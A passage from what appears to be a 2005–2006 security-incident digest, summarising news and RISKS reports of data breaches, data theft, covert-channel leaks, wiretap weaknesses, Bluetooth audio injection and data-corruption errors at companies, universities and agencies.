A previously unknown vulnerability in Mailman, a popular open-source program for managing mailing lists, has led to the theft of the password file for a well-known security discussion group. The theft, discovered last week and reported in an announcement to the Full Disclosure security mailing list on Wednesday, February 9, casts uncertainty on the security of other discussion groups that use the open-source Mailman package. By specially crafting a Web address, an attacker can obtain the password for every member of a discussion group. Servers that run Apache 2.0 and Mailman are suspected to be immune to exploitation of the vulnerability, according to a security advisory on the Mailman Website. Vendor update is available: http://www.gnu.org/software/mailman/security.html

---

Category 11.2 *Unauthorized disclosure*

2005-02-18 **ChoicePoint data leakage consumer privacy Equifax credit bureau Social Security numbers SSN reports identity theft**

NewsScan; http://www.washingtonpost.com/wp-dyn/articles/A33802-2005Feb18.html

CHOICEPOINT LEAKS CONSUMERS' DATA

ChoicePoint, a spinoff of credit reporting agency Equifax, has come under fire for a major security breach that exposed the personal data records of as many as 145,000 consumers to thieves posing as legitimate businesses. The information revealed included names, addresses, Social Security numbers and credit reports. "The irony appears to be that ChoicePoint has not done its own due diligence in verifying the identities of those 'businesses' that apply to be customers," says Beth Givens, director of the Privacy Rights Clearinghouse. "They're not doing the very thing they claim their service enables their customers to achieve." In its defense, ChoicePoint claims it scrutinizes all account applications, including business license verification and individuals' background checks, but in this case the fraudulent identities had not been reported stolen yet and everything seemed in order. ChoicePoint marketing director James Lee says they uncovered the deception by tracking the pattern of searches the suspects were conducting. (Washington Post 18 Feb 2005)

Category 11.2 Unauthorized disclosure

2005-03-11 **penetration hacking admissions Website reject applicants criticism**

EDUPAGE; http://chronicle.com/prm/daily/2005/03/2005031104n.htm

SCHOOLS CRITICIZED OVER REJECTION OF NOSY APPLICANTS

A number of business-school applicants who were rejected due to their looking at university admissions records online without authorization have spoken out against the universities' decision to exclude them. Carnegie Mellon University, Harvard University, and MIT have rejected the applications of 153 individuals who used a hacker's instructions to try to find out if they had been accepted. Although some applicants involved acknowledged that accessing the records was wrong, they contended that the actions do not constitute hacking and that the institutions have overreacted. One rejected applicant wrote a letter to Harvard, admitting a "lapse in judgment" but noting that he "wasn't trying to harm anyone and wasn't trying to get an advantage over anyone." Len Metheny, CEO and president of ApplyYourself, the software that all the affected schools used for applications, said the procedure to access the records was sufficiently complicated that anyone doing so would have to have known it was unauthorized. Chronicle of Higher Education, 11 March 2005 (sub. req'd)

Category 11.2 Unauthorized disclosure

2005-04-01 **University of Georgia personal sensitive information disclosure e-portfolio system**

EDUPAGE; http://chronicle.com/prm/weekly/v51/i30/30a04102.htm

GEORGIA UNCOVERS MISUSE OF ONLINE PORTFOLIOS

After discovering files containing personal information on its e-portfolio system, officials at the University of Georgia are reviewing the institution's policies for online portfolios. A student in the university's New Media Institute--part of the school's journalism program--had used the e-portfolio system to store a list of names and credit card numbers on a university-owned server. Officials at the school are not sure how the student obtained the list, which came from a North Carolina company that sells pharmaceutical products online, or what the student intended to do with it. The server where the file resided was immediately taken down, and officials are now combing through the rest of the files before re-posting them, looking for any other inappropriate information. According to Scott Shamp, director of the New Media Institute, the incident has raised questions about how long and under what terms the university will offer online portfolio services to its students. Shamp, who expressed support for online portfolios, pointed to the possibility of third-party options to address concerns over liability for the institution. Chronicle of Higher Education, 1 April 2005 (sub. req'd)

Category 11.2 Unauthorized disclosure

2005-04-06 **personal data information disclosure University of Mississippi**

EDUPAGE; http://msnbc.msn.com/id/7407401/

U. OF MISSISSIPPI WEB PAGE SHOWED PERSONAL DATA

Officials at the University of Mississippi have removed files from their servers that included names and Social Security numbers for about 700 students after being notified that the files were available to anyone on the Web. The files were not linked from other pages, but they had been indexed by search engines. As a result, an individual identified only as Jay who was searching the Web for an old friend stumbled on the files. According to Jeff Alford, assistant vice chancellor for university relations, the files were posted by someone who no longer works for the university. That person likely posted them in late 2003, but university officials are not sure why he did so. "For some reason, he saved the information as a backup file on the university (Web) server," said Alford. "It is a clear violation of our privacy policy, and a serious violation." MSNBC, 6 April 2005

Category 11.2 Unauthorized disclosure

2005-04-12 **LexisNexis data loss personal information disclosure identity ID thieves**

EDUPAGE; http://www.reuters.com/newsArticle.jhtml?storyID=8159934

LEXISNEXIS DISCLOSES MORE DATA LOSSES

LexisNexis this week revealed that much more personal information was exposed to identity thieves than reported in estimates released last month. Information including Social Security numbers for 310,000 U.S. Citizens was exposed--nearly 10 times the 32,000 previously announced by company officials. According to LexisNexis, the data were compromised in a total of 59 separate incidents over the past two years, most of them at subsidiary Seisint, which LexisNexis bought in July 2004. A spate of data breaches lately has prompted the U.S. Congress to hold hearings on problems affecting the data-brokerage industry and to propose regulations that would add strict controls on the collection and sale of personal information. Sen. Charles Schumer (D-N.Y.) said, "When a company like LexisNexis so badly underestimates its own ID theft breaches, it is clear that things are totally out of hand." Reuters, 12 April 2005

Category 11.2 *Unauthorized disclosure*

2005-04-12 **data leakage theft anomaly outlier bandwidth utilization file sharing investigation university**

Boston Globe
http://www.boston.com/business/technology/articles/2005/04/12/tufts_warns_al
umni_on_breach/

TUFTS WARNS OF POSSIBLE SECURITY BREACH

Tufts University in Boston had to send warning letters to 106,000 alumni warning of a possible breach of security on a computer that stores their names, addresses, and other personal information including (for some alumni) Social Security numbers and credit-card numbers. The possible breach was discovered by data center staff who noticed an unusually high use of high-bandwidth file transfers from that system. Investigators hypothesize that the system might have been commandeered for illegal file sharing.

Category 11.2 *Unauthorized disclosure*

2005-04-12 **personal data information disclosure alumni Tufts University**

EDUPAGE; http://news.bostonherald.com/localRegional/view.bg?articleid=78100

TUFTS DISCLOSES DATA BREACH

Officials at Tufts University have begun notifying 106,000 alumni that their personal information stored on a university computer may have been compromised. The problem occurred last fall, when university officials noticed unusually large amounts of information passing through the computer, which stored names, addresses, phone numbers, Social Security numbers, and credit card numbers. The problem does not affect current students or employees. According to Betsey Jay, director of advancement communications, no evidence has surfaced about who is responsible or that any of the information was misused. At the time, officials at Tufts saw no reason to notify those affected, but a flurry of recent incidents in which personal information was compromised, including one at Tufts's neighbor, Boston College, prompted the university to inform alumni about the problem. Boston Herald, 12 April 2005

Category 11.2 *Unauthorized disclosure*

2005-04-21 **hacking penetration Carnegie Mellon University data breach personal information disclosure**

EDUPAGE; http://msnbc.msn.com/id/7590506/

CARNEGIE MELLON DISCLOSES POSSIBLE DATA BREACH

Officials from Carnegie Mellon University are notifying about 5,000 students, graduates, and staff that their personal information may have been compromised on the university's network. The exposed information concerns graduates of the Tepper School of Business from 1997 to 2004; current graduate students; applicants to the doctoral program from 2003 to 2005; applicants to the MBA program from 2002 to 2004; and administrative employees. Officials said information about faculty and undergraduate students was not affected. Mike Laffin, spokesperson for the university, said the problem was discovered on April 10 and that there is currently no evidence that any of the exposed personal information has been used for fraudulent purposes. MSNBC, 21 April 2005

Category 11.2 *Unauthorized disclosure*

2005-04-28 **data leakage privacy confidentiality drivers' licenses identity theft mail malfunction bug error government agency**

RISKS; http://tinyurl.com/9yfvb (reg'n req'd) 23 86

HUNDREDS OF TEXAS DRIVER'S LICENSES MAILED TO WRONG PEOPLE

An agency that warns Texans not to share personal information with strangers because of the risks of identity theft mistakenly mailed hundreds of driver's licenses to the wrong people. The Texas Department of Public Safety (DPS) blamed the mixup on a malfunctioning machine that was recently installed to sort licenses for mailing. Statewide, at least 500 to 600 people who applied for a license renewal or replacement in late March or early April instead received somebody else's card, said DPS spokesperson Tela Mange. A driver's license contains enough personal information for thieves to open up a line of credit or a bank account in that name, make long-distance phone calls or apply for a Social Security card, according to the Texas attorney general's office. Information on the license includes a full name, signature, birth date, height, eye color, address and a photograph. The driver's license number, assigned by DPS, is also used by many agencies to verify a person's identity. In the case of the mismailed licenses, no identity theft or other crime has been reported, Mange said. [Abstract by Peter Gregory]

Category 11.2 *Unauthorized disclosure*

2005-05-21 **university data leakage confidentiality privacy social security numbers SSN student faculty records**

http://www.indystar.com/apps/pbcs.dll/article?AID=/20050521/NEWS01/50521 0449/1006&template=printart

PURDUE WARNS OF ANOTHER SECURITY BREACH

For the third time in the past year, Purdue University in West Lafayette has experienced a computer security breach that may have allowed illegal access to confidential faculty or student records.

University officials said Friday they are alerting 11,360 current and former employees that their Social Security numbers and other information may have been accessed electronically from at least one of four campus computer workstations.

"It is critical that we all -- whether involved in this incident or not -- monitor our credit reports and financial statements," James R. Bottum, vice president for information technology, said in a prepared statement. "The problem we've experienced here is just one example of how vulnerable all organizations can be."

[Excerpt from a report by Barb Berggoetz, writing for the Indiana Star newspaper]

Category 11.2 *Unauthorized disclosure*

2005-07-06 **student applicants university database privacy data leakage vulnerability accessibility control confidentiality Web**

RISKS; http://www.theregister.co.uk/2005/07/06/usc_site_cracked/ 23 93

UNIVERSITY OF SOUTHERN CALIFORNIA ONLINE APPLICATIONS SYSTEM FLAWED

A programming error in the University of Southern California's online system for accepting applications from prospective students left the personal information of ``hundreds of thousands of records'' publicly accessible. The flaw was discovered by a student in the process of applying.

[Abstract by Peter G. Neumann]

Category 11.2 *Unauthorized disclosure*

2005-07-06 **vulnerability flaw University of Southern California online application system Website applicant data exposure**

EDUPAGE; http://www.theregister.co.uk/2005/07/06/usc_site_cracked/

FLAW ALLOWS ACCESS TO USC ADMISSIONS SITE

Officials at the University of Southern California (USC) acknowledged that a flaw in the school's online application system left personal data on applicants to the university exposed to hackers. The vulnerability was discovered by a student, who found the problem when he was was using the system to apply to USC. He reported it to Internet security firm SecurityFocus, which then notified the university. The flaw reportedly exposed information including names, birth dates, and Social Security numbers on many thousands of applicants. After being notified of the problem, USC initially disabled only the log-in functionality but has since taken down the entire application. USC officials disclosed neither the number of individuals whose data was affected nor whether it would notify those affected. Under a recently enacted California law, consumers must be notified in the event that their personal information has been accessed without authorization. The Register, 6 July 2005

Category 11.2 *Unauthorized disclosure*

2005-08-03 **Cisco security breach passwords reset search engine vulnerability source code not exposed**

DHS IAIP Daily;
http://www.computerworld.com/developmenttopics/websitemgmt/story/0,10801,103661,00.html

CISCO PASSWORDS RESET AFTER WEBSITE EXPOSURE

Cisco Systems Inc. is resetting passwords for all registered users of its Cisco.com Website after discovering a vulnerability in its search engine software that left user passwords exposed, the company said Wednesday, August 3. The passwords are used by Cisco customers, employees and partners who have registered on the Website to get access to special areas of the site or to receive e-mail alerts, said Cisco spokesperson John Noh. Cisco was made aware of the problem early Monday and corrected it immediately, Noh said. As a precaution, the company is now in the process of sending out new passwords to all registered users of Cisco.com, who will be unable to access password-protected areas until they receive their new passwords, Noh said. Noh could not say how long it will take to send out all of the new passwords. The vulnerability could not be exploited to gain access to sensitive information like Cisco's source code, he said. "We do not believe any sensitive data were compromised as a result of this."

Category 11.2 *Unauthorized disclosure*

2005-12-02 **information disclosure psychological records school Massachusetts**

RISKS; 24 11
http://www.boston.com/news/education/k_12/articles/2005/12/02/school_psychologists_student_records_accidentally_posted_online/

STUDENT PSYCHOLOGICAL INFORMATION DISCLOSURE

Peter Neumann summarizes an article in _Boston Globe_ article, a case of sensitive information being disclosed:

A school psychologist's records detailing students' confidential information and personal struggles were accidentally posted to the school system's Web site and were publicly available for at least four months. A reporter for *The Salem News* [Mass.] discovered the records last week and alerted school officials, the newspaper said in a story Friday. To protect students' privacy, the newspaper said it withheld publishing the story until the documents were removed from the Internet, which occurred Wednesday.

Category 11.2 *Unauthorized disclosure*

2005-12-08 **Meijer superstores employee personal sensitive information SSN disclosure accidental**

RISKS 24 12

MEIJER EMPLOYEE INFORMATION DISCLOSURE

RISKS contributor James Bauman received a letter about his daughter's health insurance benefit choices from her employer, Meijer Stores. However, the letter was not addressed to his daughter, and contained personal information about another Meijer employee. Mr. Bauman notes:

Because the other person had waived his benefits like my daughter had, there was little information. But, if the person had chosen a benefits package and had decided to cover their dependents, then the following information for the dependents would have been listed: names, relationship, birth date, sex, and social security number.

When Mr. Bauman telephoned Meijer about this information-disclosure problem, they said that they were aware of the issue: they asked employees who had received someone else's letter to destroy it.

Mr. Bauman concludes:

I hope their employees do the right and honorable thing, and do not use the identifying information for nefarious purposes, but we all know that the lamp of Diogenes would go out when within a mile of a few people…the ones we all worry about.

[Summary by Karthik Raman]

Category 11.2 *Unauthorized disclosure*

2006-02-20 **university school student records confidentiality integrity identity theft Web site availability**

RISKS; NZ Herald http://tinyurl.com/fpvrs 24 17

AUSTRALIAN CANTERBURY UNIVERSITY STUDENT RECORDS VULNERABLE

Thousands of [AU] Canterbury University students had their personal information exposed when online services were shut down leaving private records available to anyone with a user code and password last night. Information such as IRD numbers, transcripts, results, outstanding payments, medical conditions, and personal addresses could all be easily accessed online and could be changed by system users. The university's information technology department shut down the webfront. The university had installed a new online system late last year but there had not been any problems until now.

[Abstract by Peter G. Neumann]

11.3 Data theft

Category 11.3 Data theft

2005-01-11 **data theft university records SSN identity theft server crackers**

RISKS; http://www.gmu.edu/prod/alerts/supportcenter/index.jsp?ID=1157 23 66

GEORGE MASON UNIVERSITY LOSES CONTROL OF ID DATA

James Bauman wrote in RISKS:

The server at George Mason University in Virginia was compromised by crackers who stole personal information ("names, photos, Social Security numbers and (campus ID) numbers of all members of the Mason community who have identification cards") on 30,000 students, faculty, and staff.

The mega-risk here is obvious -- tens of thousands of people who may become victims of identity theft, one of the fastest growing crimes in America.

Category 11.3 Data theft

2005-03-08 **data theft credit card customer retail store database delayed discovery credit card**

RISKS; nce.lycos.com/home/news/story.asp?story=47512557 23 78

CREDIT INFORMATION STOLEN FROM DSW STORES

Credit card information from customers of more than 100 DSW Shoe Warehouse stores was stolen from a company computer's database over the last three months, a lawyer for the national chain said Tuesday. The company discovered the theft of credit card and personal shopping information on Friday and reported it to federal authorities, said Julie Davis, general counsel for the chain's parent, Retail Ventures Inc. The Secret Service is investigating, she said. DSW was alerted by a credit card company that noticed suspicious activity, she said.

Category 11.3 Data theft

2005-04-14 **data theft compromise personal information social security numbers SSN drivers' license unauthorized access identity theft database**

RISKS; http://tinyurl.com/89ql3 23 84

310,000 LEXIS-NEXIS RECORDS ACCESSED BY IDENTITY THIEVES

Peter G. Neumann summarized a major data-theft case:

The saga of hacked personal information continued with a report as we go to press that Lexis-Nexis admitted to having been victimized by the theft of personal records of 310,000 people (10 times more than originally reported), including SSNs and drivers' license numbers. 59 cases were discovered of access by unauthorized persons using legitimate IDs and passwords. 64,145 of those lost records involved California residents.

Monty Solomon added:

A computer security breach at Polo Ralph Lauren Corp. that has recently roiled two major credit card companies actually occurred last fall. But Polo only made the problem public on 14 Apr 2005.

Category 11.3 *Data theft*

2005-04-15 **data theft compromise personal information credit card information identity theft retail store**

RISKS; http://tinyurl.com/4upt7 23 84

POLO RALPH LAUREN CUSTOMER DATABASE ATTACKED

Peter G. Neumann summarized yet another data-theft case:

The scope of a computer system breach at a national retailer widened on 13 Apr 2005 to involve the customers of a second major credit card firm, but those companies refused to divulge the name of the retailer. The existence of the security breach first surfaced this week when HSBC North America began notifying 180,000 of its GM MasterCard customers that their credit card information had potentially been compromised. HSBC, which issues the GM cards, urged each customer to replace their card as quickly as possible.

Category 11.3 *Data theft*

2005-05-20 **data theft gang collection agencies banks**

SANS NewsBites

WACHOVIA & BOA ALERT CUSTOMERS TO DATA THEFT

Wachovia Corp. and Bank of America are notifying certain active and inactive customers that the security of their personal data may have been breached. Police in New Jersey seized computer equipment, including disks that contained account information for some of the banks' customers. The account information was stolen as part of a scheme to sell the information to collection agencies.
Http://www.siliconvalley.com/mld/siliconvalley/rss/11642196.htm?template=ntentModules/printstory.jsp

Bank Data Theft Grows To 676,000 Customers (20 May 2005)

Police report that bank employees at four banks were involved in a New Jersey crime ring that used screen captures to record data about more than 676,000 customers. The criminals, nine of whom have been charged with crimes, sold the data to 40 collection agencies. The men charged are listed in the article
http://www.computerworld.com/securitytopics/security/cybercrime/story/0,10801,101903,00.html

---

Category 11.3 *Data theft*

2005-05-23 **data theft financial records insider crime debt collection charges**

RISKS; http://tinyurl.com/b5khe 23 88

A BANK YOU MIGHT NOT WANT TO HAVE WACHOVIA

More than 48,000 customers of Wachovia Corp. And 600,000 of Bank of America Corp have been notified that their financial records may have been stolen by bank employees and sold to collection agencies. Nearly 700,000 customers of four banks may be affected, according to police in Hackensack, N.J. Nine people have been charged, including seven bank workers. Also affected were Commerce Bank and PNC Bank of Pittsburgh. Collection agent Orazio Lembo Jr., 35, of Hackensack made millions of dollars through the scheme. Lembo received lists of people sought for debt collection and turned that information over to the seven bank workers, who would compare those names to their client lists. The bank workers were paid $10 for each account they turned over to Lembo, Zisa said.

In a separate case with the potential for identity theft, a laptop containing the names and Social Security numbers of 16,500 current and former MCI Inc. Employees was stolen last month from the car of an MCI financial analyst in Colorado.

[Abstracts and pun by Peter G. Neumann]

Category 11.3 *Data theft*

2005-06-20 **data theft penetration criminal hackers credit card banking financial systems archiving permission policy violation virus identity theft fraud costs**

RISKS 23 91

CARDSYSTEMS KEEPS OLD DATA, GETS THEM STOLEN

CardSystems (a Tucson AZ company that handles credit card transactions for smaller banks and merchants) turns out to have been the source what was reported as the potential compromise of 40,000,000 credit cards (Visa, MasterCard, and American Express). In violation of established procedures, CardSystems was keeping old transactions online -- for research purposes -- with the intent of analyzing incompletely processed transactions. Something on the order of of 200,000 cards may be particularly at risk, and 70,000 bogus charges have already been reported. The CardSystems systems were hit with a virus that resulted in the capture of the information.

[Abtstract by Peter G. Neumann]

Category 11.3 *Data theft*

2005-08-22 **criminal hackers penetration security breach data theft personal information**

RISKS; http://www.fcw.com/article90229-08-19-05-Web 24 02

USAF PERSONNEL DATABASE COMPROMISED

Using an airman's log-in information to access the online Assignment Management System (AMS) and download data from it, someone gained access into an Air Force personnel system and accessed individual information on about half of its officers and "a handful" of its noncommissioned officers. The Air Force has started notifying more than 33,000 service personnel of the security breach, according to a statement. … Air Force officers can log in at www.afpc.randolph.af.mil/vs to see if their information was compromised. The service will call the enlisted members whose information the hackers viewed.

[Abstract by Ross Stapleton-Gray]

Category 11.3 *Data theft*

2006-01-10 **Bahamas data theft resort guests personal information hotel computer system**

EDUPAGE; http://news.com.com/2100-7348_3-6025591.html

DATA STOLEN ON RESORT GUESTS

The owners of a luxury hotel in the Bahamas announced that personal information on more than 50,000 guests was stolen from the hotel's computer system. The data stolen from the Atlantis resort on Paradise Island include names, addresses, Social Security numbers, bank account information, credit card numbers, and driver's license numbers. Representatives of the resort said they do not know whether the breach was the work of an insider or of an outside hacker. They said they have no reports so far that any of the information has been used fraudulently, but the resort is notifying all affected guests. Those affected can take advantage of a year-long credit monitoring service paid for by the hotel.

11.4 Covert channels

Category 11.4 Covert channels

2005-02-04 **data leakage Word comments document confidentiality**

RISKS; http://tinyurl.com/43dhg 23 71

ANOTHER MS-WORD INFO LEAK

Richard Akerman wrote about a case where a scientist made marginal comments about a press release from the McGill University Health Centre about health risks of Viox. The comments, made in MS-Word, were supposedly restricted but were actually visible to anyone using Windows XP and MS Word 2003.

Category 11.4 Covert channels

2005-05-01 **data leakage covert channel PDF classified report accessibility**

RISKS; http://it.slashdot.org/it/05/05/01/1314216.shtml?tid=172&tid=103 23 86

ACROBAT PDF FILES WITH "BLACKED-OUT" TEXT ARE READABLE

Bob Blakely III pointed out that using PDF files with blacked-out areas as a medium for preventing restricted information from being read does not work. In the case "of the classified report on the Nicola Calipari/Giuliana Sgrena incident[,] Italian newspaper (Corriere Della Sera) recovered and posted the classified text by performing a 'copy and paste' operation on the blacked-out sections."

Category 11.4 Covert channels

2005-09-22 **eavesdropping surveillance inference artificial intelligence data leakage covert channel**

Nature < http://www.nature.com/news/2005/050919/pf/050919-9_pf.html >

KEYBOARD NOISE ALLOWS INFERENCE ABOUT WHAT'S BEING TYPED

Using sophisticated artificial intelligence programs, scientists from UC Berkeley have been able to deduce what people are typing simply from the sounds of the different keys. Doug Tygar and colleagues say that they don't need to study the individual keyboard -- the programs use the differences in sounds of keys on the outer side of the keyboard vs the sounds of the inside keys. The microphones can be outside the room being monitored. Over time, the software gets better, and "Once our algorithm has ten minutes' worth of typed English, it can recover arbitrary text, such as passwords," says Tygar.

Category 11.4 *Covert channels*

2005-11-03 **breach confidentiality data leakage covert channel e-mail accidental release consequences stock exchange user ignorance training**

RISKS; http://tinyurl.com/bu6so 24 10

DATA LEAKAGE VIA SPREADSHEET SENT BY E-MAIL

Westpac…, a large Australian bank, was forced to halt trading on its shares and deliver its annual profit briefing a day early after it accidentally sent its results by email to research analysts.

A template containing past results was sent to analysts. It was soon discovered that the new figures were embedded in the spreadsheet and were accessible with via "a minor manipulation". Analysts telephoned the bank to report the error and the template was recalled.

But the damage was done. The Australian Stock Exchange was notified and trading was suspended as it appeared that some people had access to information not generally available to the market. The bank then brought forward its results announcement.

[Summary contributed by David Shaw]

Patrick O'Beirne reported that it appears that the critical data were "obscured" by using black shading on the cells involved (!).

Westpac Chief Financial Officer, Philip Chronican, said there was no evidence that the figures had been circulated and there were no signs of disorderly trading in Westpac shares. He added: "It is not just one error, it is a compounding of two or three errors ... We will obviously be conducting a full inquiry to make sure it doesn't happen again."

Category 11.4 *Covert channels*

2006-01-04 **data leakage confidentiality covert channel**

RISKS 24 14

PDF FILES MAY CARRY HIDDEN IMAGES

A colleague recently provided me with a PDF of a presentation he created using Keynote on a Macintosh. I needed to use some photographs from that document in a presentation of my own, so I used pdfimages, a public-domain tool, to extract them. Imagine my surprise when I discovered several images that were not apparent in the original, including logos for Yahoo and MSN, a snapshot of a commercial Web page, and a photograph of some former students.

I have not experimented with random files from the Web, so I don't know what tool is responsible for inserting the inadvertent images in the file, although it seems to be a classic case of using an existing document as a template for a new one. Clearly, however, PDF documents are capable of carrying images that are not visible to the casual user, and thus risk leaking information in the same way as Microsoft Word and Powerpoint.

[Abstract and commentary by Geoff Kuenning]

12.1 Wiretapping

Category 12.1 Wiretapping

2005-11-30 **wiretapping unreliable study law enforcement warrants implications Matt Blaze**

RISKS; http://www.iht.com/articles/2005/11/30/business/taps.php 24 11

STUDY: WIRETAPPING NOT RELIABLE

A _New York Times_ article discussed a study about the flaws of wiretapping done by Matt Blaze, a professor at the University of Pennsylvania. The study found that, using off-the-shelf equipment, it was possible to subvert law enforcement and other wiretapping by stopping the recorder remotely and falsifying the numbers dialed. Prof. Blaze noted, "This has implications not only for the accuracy of the intelligence that can be obtained from these taps, but also for the acceptability and weight of legal evidence derived from it".

The original article includes the following interesting detail (quoted):

* According to the Justice Department's most recent wiretap report, state and U.S. Courts authorized 1,710 "interceptions" of communications in 2004.

* To defeat wiretapping systems, the target need only send the same "idle signal" that the tapping equipment itself sends to the recorder when the telephone is not in use. The target could continue to have a conversation while sending the forged signal.

* The tone, also known as a C-tone, sounds like a low buzzing and is "slightly annoying," Blaze said, "but would not affect the voice quality" of the call."

[Abstract by Karthik Raman and MK]

12.3 Injection

Category 12.3 Injection

2005-08-09 **bluetooth wireless communications insertion attack automobile car radio fraud fake message alerts**

RISKS; http://trifinite.org/trifinite_stuff_carwhisperer.html 24 01

INJECTION ATTACKS ON CAR AUDIO

Martin Herfurt of the Car Whisperer project created a proof-of-concept device called "Car Whisperer" that allows hackers to inject audio into Bluetooth-equipped vehicles. Part of the summary is as follows:

>The carwhisperer project intends to sensibilise manufacturers of carkits and other Bluetooth appliances without display and keyboard for the possible security threat evolving from the use of standard passkeys.

A Bluetooth passkey is used within the pairing process that takes place, when two Bluetooth enabled devices connect for the first time. Besides other public data, the passkey is a secret parameter used in the process that generates and exchanges the so-called link key. In Bluetooth communication scenarios the link key is used for authentication and encryption of the information that is exchanged between the counterparts of the communication.

The cw_scanner script is repeatedly performing a device inquiry for visible Bluetooth devices of which the class matches the one of Bluetooth Headsets and Hands-Free Units. Once a visible Bluetooth device with the appropriate device class is found, the cw_scanner script executes the carwhisperer binary that connects to the found device (on RFCOMM channel 1) and opens a control connection and connects the SCO links.

The carwhiperer binary connects to the device found by the cw_scanner. The passkey that is required for the initial connection to the device is provided by the cw_pin.pl script that replaces the official Bluez PIN helper (graphical application that usually prompts for the passkey). The cw_pin.pl script provides the passkey depending on the Bluetooth address that requests it. Depending on the first three bytes of the address, which references the manufacturer, different passkeys are returned by the cw_pin.sh script. In quite a few cases the preset standard passkey on headsets and handsfree units is '0000' or '1234'.

Once the connection has been successfully established, the carwhisperer binary starts sending audio to, and recording audio from the headset. This allows attackers to inject audio data into the car. This could be fake traffic announcements or nice words. Attackers are also able to eavesdrop conversations among people sitting in the car.<

Herfurt adds, "In order to avoid getting attacked by carwhisperer, manufacturers should not use standard passkeys in their Bluetooth appliances. Moreover, there should be some kind of direct interaction with the device that allows a device to connect. Another recommendation would be to switch the handsfree unit to invisible mode, when no authorized device connects to it within a certain time."

13.1 Data diddling

Category 13.1 Data diddling

2005-04-10 **road construction message board criminal hacker joke prank speed limit**

RISKS; http://tinyurl.com/8xw8g 23 84

MICHIGAN ROADSIGN BOARD HACKED

Drivers on southbound Interstate 75 in Michigan saw a construction message board that previously had been alerting drivers in Genesee County near Clio that construction was soon to start. One morning it said "speed limit 100 mph go go go." (The speed limit in that area is 70 mph. The sign is controlled remotely by a subcontractor's computer.) [Abstract by Peter G. Neumann]

Category 13.1 Data diddling

2006-05-10 **insider crime police chief database hacking data integrity alteration statistics fraud**

RISKS 24 28

NY CITY POLICY DEPUTY INSPECTOR HACKED POLIC DATABASE

According to the New York Post, a deputy inspector in the NY City Police Department (NYPD) hacked into the NYPD crime statistics database (called the CompStat program) to make his predecessor look bad by inflating old crime statistics and make himself look better by deflating current statistics. Ed Ravin commented in RISKS that "…[T]he Department …. Have stonewalled every outside investigation of this problem, especially the Mayor's Commission to Combat Police Corruption, whose chairman quietly resigned after the NYPD refused to cooperate with the Commission." He added, "The NYPD (and the many police departments worldwide who copy them) have become such slaves of their CompStat system that they spend their effort gaming it rather than doing their jobs and actually reducing crime."

13.2 Data corruption & destruction

Category 13.2 *Data corruption & destruction*

2005-01-27 **autocomplete e-mail addresses data leakage confidentiality**

RISKS 23 69

AUTOCOMPLETE… AUTOLYSIS… AUTOREPAIR… AW TO HELL WITH IT

Thom Kuhn points out the RISKS of allowing e-mail programs to autocomplete addresses:

A while ago I was listening to a public affairs program on NPR. One of the speakers was representing a trade association, and his comments really got to me. I Googled him and sent him a somewhat venomous e-mail. A few hours later I got an even more venomous reply. End of story? Not quite. My e-mail address was now in his shortcut list. A few weeks later I was copied on what was clearly meant to be an internal and confidential e-mail from this gentleman to this colleagues.

Category 13.2 *Data corruption & destruction*

2005-03-03 **GFI security firm accidental data loss customer e-mail deletion free upgrades compensation BitDefender MailSecurity**

DHS IAIP Daily; http://news.zdnet.co.uk/0,39020330,39189933,00.htm

SECURITY FIRM DELETED CUSTOMERS' E-MAILS

An e-mail security scanning company has accidentally deleted thousands of its customers' e-mails. GFI is now offering free upgrades to all its customers after it deleted their e-mails by sending out incorrect update information. According to GFI, the problem occurred because of a change in BitDefender's technology, one of the products that GFI uses for its e-mail scanning. When the GFI MailSecurity update mechanism tried to install BitDefender updates on customer networks, the service started to delete all e-mails by default. BitDefender and GFI then rolled back the updates. GFI has promised all customers a free upgrade to its MailSecurity 9 product, which is available in two months. The company has also released a tool that can tell customers which e-mails were deleted and when.

Category 13.2 *Data corruption & destruction*

2005-04-19 **software quality assurance Web sales supervision approval error glitch bug contractual obligation financial loss integrity**

RISKS; http://tinyurl.com/ahal9 23 85

US AIRWAYS HONORS 1,000 TICKETS AT $1.86 DUE TO COMPUTER GLITCH

A computer error forced the bankrupt airline US Airways to sell over 1,000 tickets on the Web to people who payed $1.86 for each of them in mid-April 2005. News got out fast on the Web and some buyers bought ore than a dozen tickets simply to be able to swell their frequent-flyer miles for later use. US Airways honored all its contractual obligations despite the enormous cost.

Category 13.2 *Data corruption & destruction*

2005-07-11 **medical database laboratory results data integrity corruption mixup confusion error tests treatments**

RISKS; http://www.canada.com/calgary/calgaryherald/index.html 23 94

MEDICAL LAB DATABASE CORRUPTION AFFECTS 2,000 PATIENTS

[A] web database used by the Calgary Health Region to track and distribute results of lab tests has suffered a "glitch". According to the article that appeared today, "The Calgary Health Region announced Sunday that an Internet database - which physicians use to view lab work such as blood and urine tests - mixed up results between patients and posted records under the wrong names. Officials are now contacting the offices of nearly 400 doctors and other health providers who saw the incorrect records, to ensure patients are receiving proper treatment." Doctors are concerned that the mix-up means some patients are now receiving incorrect treatments which can complicate their conditions, or that patients are receiving treatments they don't need. Additionally, some patients may be fretting needlessly over their lab results because of the mix-up while others may be in for some unpleasant surprises when they receive the correct results.

[Abstract (lightly edited by MK) by R. A. Tremonti]

Category 13.2 *Data corruption & destruction*

2005-08-09 **software quality assurance QA data loss corruption integrity version control regression testing**

RISKS; http://www.heise.de/newsticker/meldung/62595 (in German) 24 01

GERMAN SOCIAL SERVICES SOFTWARE DROPS CHANGES

The online computer news service heise.de reports that an error in the software system A2LL, which computes welfare and jobless subsidies as well as administering the system, has dropped over 100,000 changes that should have been reported to health insurance providers.

New registrants, people going off welfare, address changes and the like were registered with the system and then the changes were automatically rescinded. The error cropped up after a new version of the software was installed on the central servers. [Perhaps they installed a test system by mistake that just pretends to accept changes? -dww]

The missed changes will not affect the insurance status of the people involved, but staff at the insurance companies must take care of all of the changes by hand.

[Abstract of German original by Debora Weber-Wulff]

Category 13.2 *Data corruption & destruction*

2005-11-09 **software quality assurance testing accounting error financial report**

RISKS; http://tinyurl.com/djshs 24 09

ACCOUNTING SOFTWARE BUG CAUSES $220M ERROR

"Freddie Mac will reduce its profit for the first half of 2005 by $220 million because of an error caused by faulty accounting software, the mortgage finance company said yesterday. … The error stems from a flaw in the accounting program Freddie Mac has used since 2001. In a recent review of the company's accounting system, Freddie Mac employees realized the software was routinely overstating the amount of interest that the housing finance company earned from certain types of mortgage-backed securities that it bought for investment purposes, spokesman Michael Cosgrove said."

[Contributed by Jeremy Epstein]

Category 13.2 *Data corruption & destruction*

2006-03-09 **quality assurance QA automatic word processor spell checker conversion correction errors**

Language Log http://itre.cis.upenn.edu/~myl/languagelog/archives/002911.html

